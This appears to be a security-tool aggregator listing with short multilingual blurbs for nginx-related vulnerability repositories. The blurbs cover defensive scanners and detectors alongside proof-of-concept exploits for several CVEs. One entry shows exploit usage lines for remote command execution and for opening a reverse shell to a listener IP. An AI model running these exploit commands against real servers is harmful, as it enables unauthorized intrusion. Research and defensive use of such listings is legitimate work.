nginxpwner

Nginxpwner نغينكس‌باونر هي أداة بسيطة للبحث عن الأخطاء في التهيئة والثغرات الشائعة في إن‌جينكس. التثبيت: root@kitploit: cd /opt git clone https://github.com/stark0de/nginxpwner cd nginxpwner chmod +x install.sh ./install.sh التثبيت باستخدام دوكر root@kitploit: git clone...

nginx-rift-check

nginx-rift-check Trova configurazioni vulnerabili a CVE-2026-42945 , l'heap buffer overflow nel ngxhttprewritemodule di nginx. Eseguire una versione di nginx affetta dalla 0.6.27 alla 1.30.0 non basta perché la vulnerabilità sia sfruttabile. La configurazione deve contenere una coppia specifica d...

CVE-2019-11043-Vulnerability

Colaboradores: Olaf Madejski, Andrew Masone, Nate Desany Demonstração de Exploração e Persistência com Túnel Reverso em PHP-FPM CVE-2019-11043 — Vulnerabilidade no Tratamento de Caminho do PHP-FPM da Debian Visão Geral do Projeto Em outubro de 2019, os pesquisadores do Debian Security Advisory Em...

CVE-2026-42533-POC

CVE-2026-42533 Overflow del buffer heap e perdita di informazioni dall'heap pre-autenticazione in nginx, causati dalla mancata salvataggio/ripristino dello stato delle catture PCRE tra le due passate del motore degli script. Una variabile map basata su regex valutata tra due riferimenti di cattur...

NGINX_2026_CVE_Bundle_CTI_Report

🛡️ NGINX 2026 Indagine CTI Multi-CVE CVE-2026-28755 • CVE-2026-42926 • CVE-2026-9256 • CVE-2026-42055 • CVE-2026-42533 Creato da Pratik Chhetri Data del report: 2026-07-28 📌 Sintesi Esecutiva...

CVE-2026-42533

CVE-2026-42533 — PoC Exploit per l'Heap Buffer Overflow di nginx Esecuzione remota di codice pre-autenticazione tramite sovrascrittura dei gruppi di cattura a due passate PoC pubblico rilasciato il 2026-07-27 — Non aspettare, applica la patch ora. | ---|--- CVE| CVE-2026-42533 CVSS 4.0| 9.2 Criti...

CVE-2026-27944

CVE-2026-27944 - Download e decifratura non autenticata del backup di Nginx UI https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/PoC-Exploit-red Un proof-of-concept PoC per CVE-2026-27944, una vulnerabilità critica in Ngi...

IngressNightmare-RCE-POC

⚠️ Kritische RCE in Ingress-NGINX durch Konfigurationsinjektion CVE-2025-1974 und weitere Dieses Repository enthält einen Proof-of-Concept PoC Exploit für CVE-2025-1974 , eine kritische CVSS 9.8 Schwachstelle im Ingress-NGINX-Controller für Kubernetes. Dieser Fehler ermöglicht nicht...

CVE-2026-3288

CVE-2026-3288: Injection di configurazione in ingress-nginx tramite annotazione rewrite-target Parole chiave: CVE-2026-3288, vulnerabilità di ingress-nginx, sicurezza Kubernetes, injection di configurazione nginx, annotazione rewrite-target, RCE, divulgazione di Secret, CWE-20, CAPEC-176, CVE 202...

CVE-2026-42533-nginx

CVE-2026-42533 nginx यह रिपॉजिटरी CVE-2026-42533 में वर्णित complexvalue two-pass capture-clobbering समस्या से जुड़े nginx कॉन्फ़िगरेशन पैटर्न की पहचान करने के लिए एक Go-आधारित स्कैनर शामिल करती है। अवलोकन यह टूल nginx कॉन्फ़िगरेशन फ़ाइलों और निर्देशिकाओं का विश्लेषण करता है ताकि उन जोखिम भरे...

CVE-2026-42533

NGINX Vulnerability Checker Skript zur nicht-intrusiven Überprüfung, ob eine NGINX -Installation von der Schwachstelle CVE-2026-42533 betroffen sein könnte. Wichtig: Dieses Projekt nutzt die Schwachstelle nicht aus. Es führt lediglich lokale Prüfungen der installierten Version und der...

CVE-2026-42533

CVE-2026-42533 — Sito di tracciamento della sovrascrittura di cattura nginx map/regex Tracker dello stato delle patch per CVE-2026-42533 , un heap buffer overflow nel motore di valutazione script a due passate di nginx. nginx misura un'espressione stringa in una passata LEN e la scrive in una...

nginx-map-risk-audit

CVE-2026-42533: Revisione del rischio NGINX Map Regex Nota di ricerca difensiva su CVE-2026-42533, un heap buffer overflow nell'elaborazione delle richieste NGINX legato alle direttive map con catture regex e ad alcuni schemi di valutazione delle variabili. In parole semplici: NGINX è un software...

ghostlock-vagrant-box

Testbed per una catena completa di vulnerabilità: Nginx RCE → GhostLock LPE Panoramica Questo repository fornisce un ambiente Vagrant progettato per dimostrare una catena di sfruttamento completa in due fasi. Il testbed esegue automaticamente il provisioning di una macchina virtuale isolata Ubunt...

http2-bomb-detector

http2-bomb-detector Strumento di rilevamento non distruttivo della vulnerabilità HTTP/2 Bomb CVE-2026-49975 — per Nginx / Apache httpd Contesto della vulnerabilità CVE-2026-49975 è una vulnerabilità diffusa di denial of service remoto a livello di protocollo HTTP/2, scoperta dal ricercatore di...

CVE-2019-11043

CVE-2019-11043 0th3rs Security Team ====================== Nelle versioni di PHP 7.1.x precedenti alla 7.1.33, 7.2.x precedenti alla 7.2.24 e 7.3.x precedenti alla 7.3.11 Testato su PHP 7.2.20/7.3.10 Istruzioni root@kitploit: 1. Relativamente stabile, basta ricavare con forza bruta la lunghezza...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2026-42533

CVE-2026-42533 — nginx: Zwei-Pass-Capture-Überschreibung two-pass capture clobbering nginx 0.9.6–1.30.3 / mainline ≤1.31.2 Pre-Authentifizierungs-Heap-Overflow + Informationsleck in der komplexen Wert-Skript-Engine; CVSS 9.2. Dieselbe Grundursache hat zwei Angriffsflächen: HTTP Regex-location +...

CVE-2023-5044

CVE-2023-5044 CVE 2023 5044 के लिए PoC पूर्वापेक्षाएँ Kind: v0.20.0 Kubectl: v1.29.3 Docker: v26.0.0 PoC Docker को सही विशेषाधिकार दें root@kitploit: sudo usermod -aG docker $USER && newgrp docker क्लस्टर को extraPortMaping और node-labels के साथ प्रारंभ करें ताकि इसे ingress के लिए तैयार किया जा...

cve-2025-24514

🔥 PoC de Verificação da Vulnerabilidade Remota CVE-2025-24514 Este script é um PoC baseado em Python que permite verificar remotamente a vulnerabilidade CVE-2025-24514 manipulação da configuração do NGINX por meio da injeção de auth-url no ingress-nginx e possibilidade de RCE. 🧠 Visão Geral da...